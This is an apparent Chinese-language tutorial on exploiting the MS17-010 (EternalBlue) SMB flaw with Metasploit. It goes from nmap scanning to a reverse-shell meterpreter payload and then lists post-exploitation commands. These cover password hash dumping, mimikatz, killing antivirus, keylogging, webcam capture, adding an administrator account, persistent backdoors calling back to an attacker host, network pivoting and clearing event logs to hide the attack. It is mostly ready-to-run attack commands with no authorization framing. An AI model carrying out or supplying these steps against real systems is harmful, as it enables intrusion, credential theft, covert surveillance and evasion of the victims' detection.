借助 metasploit 利用 MS17-010 漏洞进行攻击
Metasploit 简介 (简称:MSF)
是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
在nmap中 有 metasploit 模块(简称:msf),在使用的时候直接输入命令 msfconsole 即可调用。
经常被利用的端口
一般情况下,本地IP和被攻击的IP不在同一个局域网,无法直接进行攻击。因此要搭建代理,可以用VPS的方式,帮助进行转发本地到被攻击者的数据。
下面是一些经常被利用的端口
139 — Windows"文件和打印机共享
443 — https端口
445 — 共享文件和打印机服务
3389 — 远程桌面服务
https都是SSL对http进行加密保护,但是随着科技的发展,SSL的安全性得到了质疑,现在用来加密http最安全的传输层协议是TLS
MS17-010利用流程
使用nmap、metasploit,可能版本不一样,命令会有细微区别
1. 存活判断
nmap -sP 192.168.3.15/24 // 用ping 命令的检测方式
2. 端口扫描
su
nmap -Pn 192.168.3.22
3. 服务识别
有一个精确的版本号对了解服务器有什么漏洞有巨大帮助
nmap -sV 192.168.3.22 服务器版本探测
nmap -A 192.168.3.22 -A来同时启用操作系统检测和版本检测。
4. 系统识别
nmap -O 192.168.3.22 操作系统的探测
5. 漏洞利用
扫描出139,445端口开放,服务器版本是windows 2008,因此可以利用永恒之蓝
-
首先打开msfconsole,利用 metasploit
msfconsole
-
找到永恒之蓝(ms17-010)对应的模块
search ms17-010
-
永恒之蓝模块
扫描模块位置: auxiliary/scanner/smb/smb_ms17_010 攻击代码位置: exploit/windows/smb/ms17_010_eternalblue exploit/windows/smb/ms17_010_eternalblue_win8 exploit/windows/smb/ms17_010_psexec exploit/windows/smb/smb_doublepulsar_rce
-
利用永恒之蓝扫描
use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.3.22 设置远端ip run
5. 利用payload攻击
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
//设置payload,后面是payload的的类型,可以通过 show payloads 命令查看
set RHOSTS 192.168.3.22 //设置被攻击者的IP
set lhost 192.168.3.25 //设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
run
执行成功
-
攻击成功
可以执行命令
-
查看payload
show payloads
后渗透阶段
以下的操作全都是在成功注入payload之后,在 meterpreter 视图下
1. 基础命令
shell ---- 即可切换到目标主机的windows shell
exit ---- 要想从目标主机shell退出到 meterpreter
background ---- 从 meterpreter 退出到MSF框架
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程PID
migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev
2. POST后渗透模块
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
sysinfo #查看目标主机信息
3. 访问文件系统
这些命令类似于 linux 中的命令
cd:切换目标目录;
cat:读取文件内容;
rm:删除文件;
edit:使用vim编辑文件
ls:获取当前目录下的文件;
mkdir:新建目录;
rmdir:删除目录;
4. 权限提升
进入一个系统的后台,权限的额提升至关重要,关系到能否修改注册表,安装后门,获取密码等操作。
#在Meterpreter中提供看提升权限的命名,如下:
getsystem #提升权限
getuid # 获取当前被攻击用户的信息
注意:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
5. 获取密码的方式
run windows/gather/credentials/windows_autologin
很多用户习惯将计算机设置自动登录,可以使用 run windows/gather/credentials/windows_autologin 抓取自动登录的用户名和密码
hashdump 模块
hashdump 模块可以从SAM数据库中导出本地用户账号。
run hashdump ,该命令的使用需要系统权限
还可以使用命令:run windows/gather/smart_hashdump
该命令的使用需要系统权限,该功能更强大,可以导出域内所有用户的hash
mimikatz程序
通过上传mimikatz程序,然后执行mimikatz程序来获取明文密码。此外,执行mimikatz必须System权限。
getsystem ##提权至系统权限
execute -i -f mimikatz.exe #进入mimikatz的交互界面
privilege::debug
sekurlsa::logonpasswords
加载kiwi模块
加载wiki模块也许要system权限
load wiki # 加载该模块
help wiki # 查看帮助
creds_all #列举出所有证书的凭证:
MSF中的 mimikatz 模块
运行MSF里面自带的 mimikatz 模块 ,该模块的使用需要System权限。
run post/windows/gather/enum_applications #查看目标主机安装了哪些应用
execute 参数 -f 可执行文件 # 在目标系统中执行程序,参数选项如下
参数
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i: 跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程
6. 屏幕截图
screenshot #图片被保存到了 /root 目录下
7. 创建新用户
run post/windows/gather/enum_logged_on_users #查看目标主机的用户
run getgui -u hack -p 123 #创建新用户,并添加到 Administrators 组中
注意:如果添加到Administrators组中失败了的话,在windows系统中,我们可以运行:shell ,进行cmd窗口手动将该用户添加到administrators组中。
8. 启用远程桌面
idletime #检查目标主机的空闲时长
当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
开启远程桌面服务:
run getgui -e 或 run post/windows/manage/enable_rdp
9. 键盘记录
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录
10. 进程迁移
Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
我们会将Meterpreter跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。
首先,用 ps 命令查看目标设备中运行的进程
getpid 查看我们当前的进程 id
使用:migrate 目标进程ID 命令来绑定目标进程id,这里绑定目标pid的时候,经常会断了 shell。进程迁移后会自动关闭原来进程,没有关闭可使用 kill pid 命令关闭进程。或者使用自动迁移进程(run post/windows/manage/migrate)命令,系统会自动寻找合适的进程然后迁移。
11. 用目标主机摄像头拍照
获取目标系统的摄像头列表:webcam_list
从指定的摄像头,拍摄照片:webcam_snap
从指定的摄像头,开启视频:webcam_stream
12. 使用扩展库
输入 load 或者 run 然后双击table
13. 生成持续性后门
因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过启动项启动(persistence) ,一种是通过服务启动(metsvc)
启动项启动
启动项启动的话,我们先生成一个后门工具,传送门——> 用MSF生成一个后门木马,然后放到windows的启动目录中:
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。
服务启动
run persistence -X -i 5 -p 8888 -r 192.168.10.27
#反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
#然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs
并把该服务加入了注册表中,只要开机就会启
14. 设置 socks 代理
这里socks模块只是将代理设置为本地的1080端口,即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口。所以我们需要添加一个路由,这样MSF监听的1080端口就可以到达内网了。
MSF中有三个代理模块,分别是socks4a、socks5、socks_unc。我们一般用 socks4a和socks5进行代理。socks5可以设置用户名和密码。这里运行代理后,有时候MSF不会监听端口(有可能是个bug,试了好多次都有这种情况),所以也就导致代理失败。
#使用socks4a代理
use auxiliary/server/socks5
run
#使用socks5代理
use auxiliary/server/socks5
set USERNAME root
set PASSWORD Password@
run
#然后打开/etc/proxychains.conf,加入下面一行
socks5 0.0.0.0 1080 root Password@
#然后添加路由
route add 0.0.0.0 0.0.0.0 1
#然后就可以使用curl了
proxychains nmap -p 21 -Pn -sT x.x.x.x #在打开其他程序前加上proxychains
15. portfwd 端口转发
portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听
portfwd add -l 3389 -r 192.168.11.13 -p 3389
#将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
rdesktop 127.0.0.1:3389
# 然后我们只要访问本地的3389端口就可以连接到目标主机的3389端口了
16. 清除时间日志
完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令
clearev # 清除事件日志
17. 导入并执行powershell脚本
load powershell #加载powershell功能
powershell_import /root/PowerView.ps1
#导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain
#执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块
powershell_execute Invoke-UserHunter #该功能模块用于定位域管理员登录的主机
powershell_execute Get-NetForest #该模块用于定位域信息
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户
18. 加载stdapi
有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令
load stdapi # 加载 stdapi
19. 升级 session
当我们收到的不是meterpreter类型的session的话,不便于操作,就要升级session
sessions -u id # 升级session